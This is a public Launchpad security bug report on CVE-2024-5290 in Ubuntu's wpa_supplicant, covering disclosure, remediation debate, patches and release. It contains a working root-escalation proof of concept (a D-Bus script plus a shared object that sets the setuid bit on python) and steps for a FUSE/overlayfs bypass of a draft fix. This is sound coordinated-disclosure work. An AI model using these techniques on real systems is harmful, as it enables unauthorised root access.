CVE-2024-5290 : Fix loading of arbitrary shared objects

Bug #2067613 reported by Sudhakar Verma
288
This bug affects 1 person
Affects Status Importance Assigned to Milestone
wpa (Debian)
Fix Released
High
Andrej Shadura
wpa (Ubuntu)
Fix Released
Undecided
Sudhakar Verma

Bug Description

Hello team

We received a vulnerability report a while back - that lets users load arbitrary shared object files in the context of the wpa_supplicant process running as root in affected Ubuntu systems.

TLDR : Upstream released a fix : https://w1.fi/cgit/hostap/commit/?id=c84388ee4c66bcd310db57489eac4a75fc600747 that includes a compile time config for allow-listing a set of shared objects.

Details here :

`wpa_supplicant` is a binary package of source `wpa`
```sh
$ umt search wpa

Running search command.

Ubuntu packages:

   Release Version Pocket Component
    trusty 2.1-0ubuntu1.7 security main
trusty/esm 2.1-0ubuntu1.7+esm4 security main
    xenial 2.4-0ubuntu6.8 security main
    bionic 2:2.6-15ubuntu2.8 security main
     focal 2:2.9-1ubuntu4.3 security main
     jammy 2:2.10-6ubuntu2 updates main
     lunar 2:2.10-12 release main
    mantic 2:2.10-15 release main
     noble 2:2.10-21build4 release main

Other packages:

   Release Version Pocket Component
  bookworm 2:2.10-12 release main
  bullseye 2:2.9.0-21 release main
    buster 2:2.7+git20190128+0c1e29f-6+deb10u4 updates main
   testing 2:2.10-21.1 release main
  unstable 2:2.10-21.1 release main
```
Upstream - https://w1.fi/cgit
upstream examples point to config that lets all users in group `wheel` access the frontend.

debian and ubuntu use group membership to control access to D-Bus
So in `debian/patches/02_dbus_group_policy.patch`
```
diff --git a/wpa_supplicant/dbus/dbus-wpa_supplicant.conf b/wpa_supplicant/dbus/dbus-wpa_supplicant.conf
index e81b495..413c049 100644
--- a/wpa_supplicant/dbus/dbus-wpa_supplicant.conf
+++ b/wpa_supplicant/dbus/dbus-wpa_supplicant.conf
@@ -9,6 +9,11 @@
                 <allow send_interface="fi.w1.wpa_supplicant1"/>
                 <allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
         </policy>
+ <policy group="netdev">
+ <allow send_destination="fi.w1.wpa_supplicant1"/>
+ <allow send_interface="fi.w1.wpa_supplicant1"/>
+ <allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
+ </policy>
         <policy context="default">
                 <deny own="fi.w1.wpa_supplicant1"/>
                 <deny send_destination="fi.w1.wpa_supplicant1"/>
```
to allow `netdev` users access to the wpa_supplicant which gets started as a service
```
diff --git a/wpa_supplicant/systemd/wpa_supplicant.service.in b/wpa_supplicant/systemd/wpa_supplicant.service.in
index 18cbc11..f02bc15 100644
--- a/wpa_supplicant/systemd/wpa_supplicant.service.in
+++ b/wpa_supplicant/systemd/wpa_supplicant.service.in
@@ -8,8 +8,11 @@ IgnoreOnIsolate=true
 [Service]
 Type=dbus
 BusName=fi.w1.wpa_supplicant1
-ExecStart=@BINDIR@/wpa_supplicant -u -s -O /run/wpa_supplicant
+ExecStart=@BINDIR@/wpa_supplicant -u -s -O "DIR=/run/wpa_supplicant GROUP=netdev"
 ExecReload=/bin/kill -HUP $MAINPID
+Group=netdev
+RuntimeDirectory=wpa_supplicant
+RuntimeDirectoryMode=0750

 [Install]
 WantedBy=multi-user.target
```

If a user is able to escalate to `netdev` - they will be able to interact with the dbus interface.
One of the interface `fi.w1.wpa_supplicant1` lets the user create a network interface via `CreateInterface` - See [`wpas_dbus_handler_create_interface`](http://w1.fi/wpa_supplicant/devel/dbus__new__handlers_8h.html#a4c504285e9504dc5508f35646278f867)

`ConfigFile` has configurations for a network interface
* for loading an opensc engine with `opensc_engine_path`which is a path to a shared object. See [`opensc_engine_path`](https://w1.fi/wpa_supplicant/devel/structwpa__config.html#a791fade4701a30852dbb2b25866ba359)
* for loading a PKCS#11 engine with `pkcs11_engine_path` which is a path to a shared object. See [`pkcs11_engine_path`](https://w1.fi/wpa_supplicant/devel/structwpa__config.html#adf38e52ccfe1b621ef5a18b78b1c3a9e)

Both these paths don't check for paths - any arbitrary location - leading to arbitrary code execution.

Overall any user within the group `netdev` would be able to load arbitrary shared objects - in the context of a process running as root - granting privilege escalation to `root`
The process that loads these objects is launched with
`/usr/sbin/wpa_supplicant -u -s -O DIR=/run/wpa_supplicant GROUP=netdev `
the trace looks like
```
openat(AT_FDCWD, "/tmp/stage/loadable.so", O_RDONLY|O_CLOEXEC) = 8
read(8, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0\0\0\0\0\0\0\0"..., 832) = 832
fstat(8, {st_mode=S_IFREG|0755, st_size=15544, ...}) = 0
mmap(NULL, 16408, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 8, 0) = 0x7b77cdcde000
mmap(0x7b77cdcdf000, 4096, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 8, 0x1000) = 0x7b77cdcdf000
mmap(0x7b77cdce0000, 4096, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 8, 0x2000) = 0x7b77cdce0000
mmap(0x7b77cdce1000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 8, 0x2000) = 0x7b77cdce1000
close(8) = 0
mprotect(0x7b77cdce1000, 4096, PROT_READ) = 0
```

Example from my 23.11 test machine
```
$ \cat wpa.py
import dbus
open("/tmp/done", "w").write("done")
system_bus = dbus.SystemBus()
wpasupplicant = system_bus.get_object("fi.w1.wpa_supplicant1", "/fi/w1/wpa_supplicant1")

wpasupplicant.CreateInterface(dbus.types.Dictionary({
    "Ifname": "lo",
    "ConfigFile": "/tmp/stage/wpa_conf",
    "Driver": "wired"
}, signature="sv"), dbus_interface="fi.w1.wpa_supplicant1")

$ cat >> /tmp/stage/wpa_conf <<EOF
opensc_engine_path=/tmp/stage/loadable.so
EOF

$ ll /usr/bin/python3.11
Permissions Size User Date Modified Name
.rwxr-xr-x 6.8M root 8 Oct 2023 /usr/bin/python3.11

$ \cat loadable.c
#include <sys/stat.h>
void __attribute__((constructor)) so_main() {
        chmod("/usr/bin/python3.11", 04755);
}

$ gcc -fPIC -shared -o loadable.so loadable.c
$ cp loadable.so /tmp/stage
$ chmod -R 777 /tmp/stage
# sg netdev -c 'python3 wpa.py'
Traceback (most recent call last):
  File "/home/sudhackar/Desktop/psirt/rory/wpa.py", line 6, in <module>
    wpasupplicant.CreateInterface(dbus.types.Dictionary({
  File "/usr/lib/python3/dist-packages/dbus/proxies.py", line 72, in __call__
    return self._proxy_method(*args, **keywords)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/dbus/proxies.py", line 141, in __call__
    return self._connection.call_blocking(self._named_service,
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/dbus/connection.py", line 634, in call_blocking
    reply_message = self.send_message_with_reply_and_block(
                    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
dbus.exceptions.DBusException: fi.w1.wpa_supplicant1.UnknownError: wpa_supplicant couldn't grab this interface.
$ ll /usr/bin/python3.11
Permissions Size User Date Modified Name
.rwsr-xr-x 6.8M root 8 Oct 2023 /usr/bin/python3.11
```

CVE References

Revision history for this message
Mark Esler (eslerm) wrote :

Adding Desktop's wpa maintainers and Marc to bug.

If I understand correctly, the upstream commit is a mitigation, not a patch. A security patch requires Ubuntu to change our implementation, which would likely require upstream's mitigation.

Basically, we should make it impossible for the netdev group to load arbitrary modules.

From @mdeslaur:
> So upstream isn't vulnerable as they only expose the dbus interface to root. Downstreams like Ubuntu and Chromium added a patch that grants access to the netdev group. The patch is the problem, not the upstream code IMHO

and:
> I wonder if just modifying wpa_supplicant to load from the trusted lib directory wouldn't be vulnerable to the same type of thing

Sudhakar, if that feels correct, could you please edit this bugs title?

Remediators, please note that others have implemented similar vulnerabilities using wpa_supplicant:
https://bugs.chromium.org/p/chromium/issues/detail?id=1398996&no_tracker_redirect=1
https://issues.chromium.org/issues/40062113

summary: - CVE-2024-5290 : upstream patch available
+ CVE-2024-5290 : Fix loading of arbitrary shared objects
Revision history for this message
Mark Esler (eslerm) wrote :

Thanks.

Adding Rory McNamara from Snyk Security Labs who originally reported this issue on May 8th 2024.

Rory, there was a delay in starting remediation due to a company wide sprint in Madrid and for initially contacting the netplan team instead of the wpa maintainers about this issue. When there is a patch timeline I will relay it.

Remediators, will this be possible to address by August 6th 2024 (90 days after private disclosure)?

Revision history for this message
Rory McNamara (rmcnamara-snyk) wrote :

Thanks for the visibility.

For what it's worth,

> I wonder if just modifying wpa_supplicant to load from the trusted lib directory wouldn't be vulnerable to the same type of thing

I think this would be a good solution (assuming built to protect against directory traversal et al). The original report included the suggestion to do the same with an AppArmor profile (wpa_supplicant is currently unconfined).

The build-time patch used by ChromeOS was not suggested by me as I wasn't sure if it was desirable for Ubuntu's use-cases (the referenced report to ChromeOS is also from me)

Revision history for this message
Lukas Märdian (slyon) wrote :

FTR:
Using Spyros' "Ubuntu Code Search" I wasn't able to find any usage of "opensc_engine_path" inside Ubuntu's default configuration, except for the example config in src:wpa wpa_supplicant/wpa_supplicant.conf, which is also commented out.

Similarly for Debian: https://codesearch.debian.net/search?q=opensc_engine_path.%3F%3D&literal=0

For "pkcs11_engine_path" OTOH, I can see some usage from src:network-manager, related to patches for bug #120363
Also example configs in src:wpa wpa_supplicant/examples/openCryptoki.conf and wpa_supplicant/wpa_supplicant.conf

I'll leave it to the Desktop team as the maintainers of src:wpa to decide which paths need to be whitelisted, though.

Revision history for this message
Sebastien Bacher (seb128) wrote :

Sorry but while 'wpa' is technically owned by our team we currently have no networking resource on the team and we are not actively maintaining wpa and don't have real domain knowledge. I will try to see if we can find someone to do some investigation from our side (but we are also short on available resources...) but any help from other teams would be welcome

Revision history for this message
Mark Esler (eslerm) wrote :

Chromium has two branches for their fix. In the earlier branch, they discuss writing their solution so that it can be upstream-able to wpa_supplicant:

https://chromium-review.googlesource.com/q/I7b03e7eadba2407bed19662ef5ddac578b2d8d94

Revision history for this message
Mark Esler (eslerm) wrote :

Ideally Desktop can provide a security fix.

Perhaps upstreaming part of Chromium's fix can be revisited.

Security Engineering may be able to provide a mitigation with AppArmor. We would need to make sure the policy restricts where files can be mapped from.

Revision history for this message
Alex Murray (alexmurray) wrote :

So from the Ubuntu side the issue we have is that we do not know exactly all the ways that this functionality is being legitimately used in various deployments, making it hard to appropriately allow-list the various module paths at compile time. However, saying that, based on my current understanding of this issue, these are the ideas I am considering to try and mitigate this:

1. Backport the allow-listing patch and compile wpa with a list of paths known to be supported out of the box for the packages in Ubuntu - ie. given that say opensc as packaged in Ubuntu has standard paths for its modules we can define both (replacing x86_64-linux-gnu with $(dpkg-architecture -q DEB_BUILD_MULTIARCH))

CONFIG_PKCS11_ENGINE_PATH=/usr/lib/x86_64-linux-gnu/engines-3/pkcs11.so
CONFIG_PKCS11_MODULE_PATH=/usr/lib/x86_64-linux-gnu/opensc-pkcs11.so
CONFIG_OPENSC_ENGINE_PATH=/usr/lib/x86_64-linux-gnu/libopensc.so.11

However this would break anyone trying to use their own opensc/pkcs11 engines that are not installed at these locations.

2. Patch wpa so that it checks the permissions of either/both of the configuration file provided in CreateInterface and the shared object loaded by this configuration - if this is NOT owned by root then refuse to load it

However, this would break anything that is NOT running as root but is running under the netdev group.

3. Restrict access (send permission) to the CreateInterface dbus method to only the root user via dbus policy

However, this would also break anything which is currently using this method that is NOT running as root but is running under the netdev group.

All of these have a reasonable risk of regression - so given this, and the fact that to exploit this vulnerability requires the use of the netdev group (which is not granted to regular user accounts), perhaps this may be better left unpatched?

However I am open to suggestions if anyone has any regarding a possible way forward (whether from the ideas suggested here or something entirely different).

Revision history for this message
Mark Esler (eslerm) wrote :

Please be aware that embargo ends on 6th of August.

If a patch is forthcoming, I can request an embargo extension from Snyk.

When embargo ends, Snyk intends to publish a blog post about a vulnerability chain which includes this issue.

Revision history for this message
Marc Deslauriers (mdeslaur) wrote :

I have searched through all the packages in the Ubuntu archive that use the fi.w1.wpa_supplicant1 dbus interface, and not a single one of them appears to do it with the netdev user.

While the original intention of the patch appears to have been to allow non-administrative users to be put in the netdev group and access the wpa dbus interface directly, I see no valid reason for this. Users should be managing network interfaces on the desktop through Network Manager, which does allow being configured by users in the netdev group.

I believe our best course of action here is to simply remove the patch that grants access to the netdev group.

Revision history for this message
Sebastien Bacher (seb128) wrote :

Thanks for doing the investigation Marc! There is always the risk that someone is relying on the patch but that should be a low number of users and removing the patch seems the best course or action here unless we decide to do nothing, I would be fine with either of those options

Revision history for this message
Marc Deslauriers (mdeslaur) wrote (last edit ):

There are also the permissions on the socket which are patched to be netdev in the Debian package. Here is a list of historical Debian bugs and what they added:

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=412179 - added netdev to the dbus permissions
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=418641 - adds netdev group on install (disabled in Ubuntu)
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=428620 - mention netdev in README.modes
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1005639 - mention netdev in man page
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1012844 - set control socket to netdev group

Revision history for this message
Sudhakar Verma (sudhackar) wrote :

Based on alexm's comments I propose this for oracular - I have tested this with a real wifi card too - in gui and from nmcli.

Revision history for this message
Mark Esler (eslerm) wrote :

Luci has proposed a draft patch using a check-ownership-of-module-files
approach. He has comments, but asked that I post before he gets back online
tomorrow.

Sudhakar, could you please test this against the exploit?

Marc would like us to consider if a CVE-2023-38408 or CVE-2010-3856 style
attack is still possible with this patch.

Perhaps dropping the netdev patch is still desirable, in addition.

Revision history for this message
Mark Esler (eslerm) wrote :

Oh, sorry Sudhakar, I didn't see your comment before posting.

Revision history for this message
Marc Deslauriers (mdeslaur) wrote :

@Sudhakar, the debdiff in comment #13 is insufficient I believe as the netdev group is also being added to the socket, where the command line tools can still do the same type of attack.

Revision history for this message
Rory McNamara (rmcnamara-snyk) wrote (last edit ):

I've had a look at the patch in #14 and it seems I can bypass it.

You can fake a uid 0 file with fuse & overlayfs in a user namespace (overlayfs is also needed since by default Ubuntu doesn't set user_allow_other in fuse.conf). I think a path prefix check might also be appropriate in addition to the uid checks to mitigate this bypass.

Reproduction:

1. Mount a fuse filesystem which contains the loadable.so owned by root. I used fuse-zip [1] with a patch [2] so all files are uid 0. This won't work directly because root (and therefore wpa_supplicant) can't read the files in this mount due to the user_allow_other fuse setting not being set. I mounted this at /tmp/stage/zipmount

2. Create a new user & mount namespace. On stock Ubuntu server (where I'm testing this) you can do this with `busybox unshare -mr`

3. Inside the mount namespace, mount an overlay filesystem with a `lowerdir` as the same mountpoint as the fuse filesystem. `upperdir` and `workdir` don't need to be anything special (I used /tmp/stage/upper and /tmp/stage/work), and the mount target can be anywhere (I used /tmp/stage/target).

4. Get the pid of the shell inside the mount namespace, e.g `echo $$`

5. Update /tmp/stage/wpa.conf from the original exploit to look something like the following, where 146062 is the pid of my mount namespace shell, and /tmp/stage/target is where the overlayfs is mounted.

opensc_engine_path=/proc/146062/root/tmp/stage/target/loadable.so

6. Call CreateInterface as in the original exploit. When wpa_supplicant performs the fstat it will be tricked into seeing the loadable.so file as owned by root, therefore allowing the load.

[1] https://bitbucket.org/agalanin/fuse-zip/src/master/
[2]

diff --git a/lib/fuse-zip.cpp b/lib/fuse-zip.cpp
index 0aa2c68..104b279 100644
--- a/lib/fuse-zip.cpp
+++ b/lib/fuse-zip.cpp
@@ -163,7 +163,7 @@ int fusezip_getattr(const char *path, struct stat *stbuf) {
     stbuf->st_mtim = node->mtime();
     stbuf->st_ctim = node->ctime();
 #endif // __APPLE__
- stbuf->st_uid = node->uid();
+ stbuf->st_uid = 0;
     stbuf->st_gid = node->gid();
     stbuf->st_rdev = node->device();

Revision history for this message
Marc Deslauriers (mdeslaur) wrote :

Wow, thanks for the info Rory, that's a nice trick I had not thought of.

Revision history for this message
Luci Stanescu (lucistanescu) wrote :

That is a neat trick!

As you said, one option is to do a path prefix check. If we only include something like '/usr/lib', could user have modules installed elsewhere, like '/opt' or who knows where else?

Denylisting '/proc' would be problematic if procfs is mounted elsewhere.

As an alternative, since the issue is caused by /proc/pid/root allowing access to paths in other mount namespaces, what about "canonicalizing" the path, like realpath() would do? Just calling realpath() would be subject to a TOCTOU race condition, so this would have to be done using *at() calls, a bit like the following Python POC. This is a bit ugly and complicated for my liking and it feels like going down a rabbit hole, but I'm putting it here for others' consideration.

import os

def by_component_open(path):
    dir_fd = None
    max_iterations = 256
    while path:
        max_iterations -= 1
        if max_iterations == 0:
            raise RuntimeError
        try:
            component, path = path.split('/', 1)
        except ValueError:
            component, path = path, ''
        path = path.lstrip('/')
        if component == '':
            if dir_fd is not None:
                os.close(dir_fd)
            dir_fd = os.open('/', os.O_PATH)
            continue
        file_fd = os.open(component, os.O_PATH | os.O_NOFOLLOW, dir_fd=dir_fd)
        try:
            component = os.readlink('', dir_fd=file_fd)
        except FileNotFoundError:
            os.close(dir_fd)
            dir_fd = file_fd
        else:
            if path:
                path = os.path.join(component, path)
            else:
                path = component
            os.close(file_fd)
    return dir_fd

if __name__ == '__main__':
    import sys
    import traceback

    try:
        fd = os.open(sys.argv[1], os.O_RDONLY)
    except Exception:
        traceback.print_exc()
    else:
        print("Direct: {} ({})".format(fd, os.readlink('/proc/self/fd/{}'.format(fd))))
        os.close(fd)
    try:
        fd = by_component_open(sys.argv[1])
    except Exception:
        traceback.print_exc()
    else:
        print("By component: {} ({})".format(fd, os.readlink('/proc/self/fd/{}'.format(fd))))
        os.close(fd)

Revision history for this message
Marc Deslauriers (mdeslaur) wrote :

I was going to suggest we just do a prefix path check, like the attached patch. While it is possible that existing users have put a library somewhere else than /usr/lib, it should be easy for them to fix it.

Revision history for this message
Marc Deslauriers (mdeslaur) wrote :

Updated patch with a bit more info when logging as suggested by Luci.

Revision history for this message
Alex Murray (alexmurray) wrote :

I think restricting to /usr/lib seems sufficient (assuming an unprivileged user can't just mount something into it within their own namespace via a crafted FUSE module + overlayfs etc)

Revision history for this message
Rory McNamara (rmcnamara-snyk) wrote (last edit ):

EDIT: This is wrong, please ignore.

As mentioned in #19 it looks like the use of realpath in #21 is vulnerable to a race condition where the target of the path changes after the realpath and before the load. However, it will protect against the /proc/pid/root method outlined above, as the realpath of /proc/pid/root/etc/passwd is /etc/passwd.

You can call realpath against a /proc/self/fd file descriptor to check the prefix and then load from the same /proc/self/fd path, this should mitigate the issue I believe. The code below shows that even if you can 'race' and swap the file for a symlink the load still happens against the original so this should be safe even where the original path is an untrusted symlink.

The use of iterative openat calls (like #19) with NOFOLLOW and a mandatory prefix is probably the safest method (This is how Google ChromeOS fixes a lot of path based vulnerabilities [1] which, anecdotally, is pretty effective).

#define _GNU_SOURCE
#define _FILE_OFFSET_BITS 64
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <linux/limits.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
  unlink("testtarget");

  int testfd = creat("testtarget", 0777);
  write(testfd, "testtarget\n", 11);

  int influencedfd = open("/proc/self/fd/3", O_RDONLY); // this is testfd

  char rp[PATH_MAX];

  // 'check' the prefix
  realpath("/proc/self/fd/4", rp); // this is influencedfd
  printf("%s\n", rp);

  // fake a TOCTOU file replace
  unlink("testtarget");
  symlink("/etc/passwd", "testtarget");

  // 'check' the prefix
  realpath("/proc/self/fd/4", rp); // this is influencedfd
  printf("%s\n", rp);

  // fake loading the file
  int fakeload = open("/proc/self/fd/4", O_RDONLY);
  char buf[32];
  write(1, buf, read(fakeload, &buf, 32));
}

[1] https://chromium.googlesource.com/chromiumos/platform2/+/HEAD/libbrillo/brillo/files/safe_fd.cc

Revision history for this message
Marc Deslauriers (mdeslaur) wrote :

Hi Rory,

In patch #21, I'm not sure how the path could change between the realpath and the load since we're making sure the path prefix is /usr/lib and we're loading the realpath, not the original path. What am I missing?

Revision history for this message
Marc Deslauriers (mdeslaur) wrote :

(unprivileged users can't replace files in /usr/lib...)

Revision history for this message
Rory McNamara (rmcnamara-snyk) wrote :

My apologies, I'm wrong. I misread the code. Please ignore #23 :)

Revision history for this message
Sudhakar Verma (sudhackar) wrote :

Testing with Marc's patch in #21

```
wpa_supplicant.service - WPA supplicant
     Loaded: loaded (/usr/lib/systemd/system/wpa_supplicant.service; enabled; preset: enabled)
     Active: active (running) since Wed 2024-07-31 13:01:31 IST; 57min ago
 Invocation: c3ab2d474e8844fab28ceb8868cf8422
   Main PID: 5140 (wpa_supplicant)
      Tasks: 1 (limit: 3397)
     Memory: 1.6M (peak: 1.8M)
        CPU: 36ms
     CGroup: /system.slice/wpa_supplicant.service
             └─5140 /usr/sbin/wpa_supplicant -u -s -O "DIR=/run/wpa_supplicant GROUP=netdev"

Jul 31 13:02:46 sec-oracular-amd64 wpa_supplicant[5140]: wlx00e04d1d0075: Associated with 00:31:92:b0:55:7e
Jul 31 13:02:46 sec-oracular-amd64 wpa_supplicant[5140]: wlx00e04d1d0075: CTRL-EVENT-SUBNET-STATUS-UPDATE status=0
Jul 31 13:02:46 sec-oracular-amd64 wpa_supplicant[5140]: wlx00e04d1d0075: WPA: Key negotiation completed with 00:31:92:b0:55:7e [PTK=CCMP GTK=CCMP]
Jul 31 13:02:46 sec-oracular-amd64 wpa_supplicant[5140]: wlx00e04d1d0075: CTRL-EVENT-CONNECTED - Connection to 00:31:92:b0:55:7e completed [id=0 id_str=]
Jul 31 13:02:46 sec-oracular-amd64 wpa_supplicant[5140]: bgscan simple: Failed to enable signal strength monitoring
Jul 31 13:51:44 sec-oracular-amd64 wpa_supplicant[5140]: ENGINE: Failed to load OpenSC Engine from /tmp/stage/loadable.so: Not in trusted path /usr/lib/
Jul 31 13:51:44 sec-oracular-amd64 wpa_supplicant[5140]: SSL: Failed to initialize TLS context.
Jul 31 13:51:44 sec-oracular-amd64 wpa_supplicant[5140]: Failed to initialize EAPOL state machines.
Jul 31 13:51:44 sec-oracular-amd64 wpa_supplicant[5140]: lo: CTRL-EVENT-DSCP-POLICY clear_all
Jul 31 13:51:44 sec-oracular-amd64 wpa_supplicant[5140]: lo: CTRL-EVENT-DSCP-POLICY clear_all
```

Revision history for this message
Luci Stanescu (lucistanescu) wrote :
Download full text (5.8 KiB)

I'm adding instructions on how to test with a real PKCS11 module, which we're using for regression testing. Incidentally, my original suggestion of passing /proc/self/fd does not work. The module path is reloaded when EAP is performed, by which time tls_engine_load_dynamic_pkcs11 would have returned and I would have closed the file descriptor.

The following setup gets wpasupplicant to perform 802.1x EAP-TLS authentication using a private key stored using SoftHSM.

Requirements: wpasupplicant, hostapd, softhsm2, gnutls-bin (just for a utility).

Notes: run everything as root.

1. Generate a CA:
openssl req -new -x509 -nodes -keyout ca.key -out ca.crt

2. Initialise a slot:
softhsm2-util --init-token --free --label "token-label"

3. Generate key in the token (the ID you select here needs to be referenced in subsequent openssl commands):
pkcs11-tool --module /usr/lib/x86_64-linux-gnu/softhsm/libsofthsm2.so -l --token-label "token-label" -k --key-type rsa:2048 --id 1234 --label "key-label"

3. Generate CSR from key in slot:
openssl req -new -nodes -out client.csr -engine pkcs11 -keyform engine -key 1234

4. Generate client certificate by signing above CSR with the CA key:
openssl x509 -req -in client.csr -CA ca.crt -CAkey ca.key -out client.crt

5. Generate server key and CSR:
openssl req -new -nodes -keyout server.key -out server.csr

6. Generate server certificate by signing server CSR with the CA key:
openssl x509 -req -in server.csr -CA ca.crt -CAkey ca.key -out server.crt

7. Get pkcs11 URI for the client's private key (search for the token label "token-label")
p11tool --list-tokens

8. Generate veth pair and raise the interfaces (this is where we'll be getting wpa_supplicant to talk to hostapd (acting as both authenticator and EAP server)):
ip link add veth-client type veth peer name veth-server
ip link set veth-client up
ip li set veth-server up

9. Use the following for wpa_supplicant config (adapt paths and private key URI):

pkcs11_engine_path=/usr/lib/x86_64-linux-gnu/engines-3/pkcs11.so
pkcs11_module_path=/usr/lib/x86_64-linux-gnu/softhsm/libsofthsm2.so

network={
    disabled=0
    key_mgmt=IEEE8021X
    eap=TLS
    identity="none"
    ca_cert="/root/certs/ca.crt"
    client_cert="/root/certs/client.crt"
    private_key="pkcs11:model=SoftHSM%20v2;manufacturer=SoftHSM%20project;serial=838c0b343825f1c5;token=token-label"
    pin="1234"
}

10. Generate simple EAP users file for hostapd, forcing EAP-TLS for everyone:
echo "* TLS" >eap.user

11. Use the following for hostapd config (I'm using the packaged example as a base and showing differences; adapt paths and interface name):
# diff -Naur /usr/share/doc/hostapd/examples/hostapd.conf hostapd.conf
--- /usr/share/doc/hostapd/examples/hostapd.conf 2022-01-16 22:51:29.000000000 +0200
+++ hostapd.conf 2024-08-02 14:38:44.285931906 +0300
@@ -5,7 +5,7 @@
 # management frames with the Host AP driver); wlan0 with many nl80211 drivers
 # Note: This attribute can be overridden by the values supplied with the '-i'
 # command line parameter.
-interface=wlan0
+interface=veth-server

 # In case of atheros and nl80211 driver interfaces, an additional
 # configuration parameter, bridge, may be use...

Read more...

Revision history for this message
Luci Stanescu (lucistanescu) wrote :

For testing Marc's patch, just copy any of the modules somewhere other than under /usr/lib/ and pass those paths to wpa_supplicant's config file.

Revision history for this message
Sudhakar Verma (sudhackar) wrote :

A little fix to #21 based on some testing

Revision history for this message
Luci Stanescu (lucistanescu) wrote (last edit ):

Small suggestion to patch in #30 - add the following to the else branch, so that there's a message for either branch:

 wpa_printf(MSG_DEBUG, "ENGINE: Loading pkcs11 Engine from %s",
     pkcs11_so_path);

This debug message used to be outside the if/else blocks.

Revision history for this message
Sudhakar Verma (sudhackar) wrote :

Fixed as per #31

Revision history for this message
Luci Stanescu (lucistanescu) wrote :

We intend to release updates for this issue tomorrow, August 6th, at 16:00 UTC. Could you please let us know if this is an issue?

Thanks!

Revision history for this message
Luci Stanescu (lucistanescu) wrote :

On the Ubuntu side, USN-6945-1 was sent out for this issue. We'll publish the CVE data shortly. Rory, if you have a blog post published, we can link it, too.

information type: Private Security → Public Security
Changed in wpa (Ubuntu):
assignee: nobody → Sudhakar Verma (sudhackar)
status: New → Fix Released
Changed in wpa (Debian):
assignee: nobody → Andrej Shadura (andrew.sh)
importance: Undecided → High
status: New → Fix Released
Revision history for this message
Rory McNamara (rmcnamara-snyk) wrote :

@lucistanescu Thanks! Our blog post has been slightly delayed so please don't wait on it, I'll update when it's been published and it can be linked if appropriate.

Revision history for this message
Luci Stanescu (lucistanescu) wrote :

Thanks, Rory! We had in the mean time published the CVE record, too, but definitely happy to update it once your blog post is up - just give us a ping.

Revision history for this message
Rory McNamara (rmcnamara-snyk) wrote :

@lucistanescu Apologies for the delay on this, but our blog post is live if you are still happy to update the CVE with a reference, thanks!

Link: https://snyk.io/blog/abusing-ubuntu-root-privilege-escalation/

Revision history for this message
Mark Esler (eslerm) wrote :

Done! Nice write-up Rory :D

To post a comment you must log in.
This report contains Public Security information  
Everyone can see this security related information.

Other bug subscribers

Remote bug watches

Bug watches keep track of this bug in other bug trackers.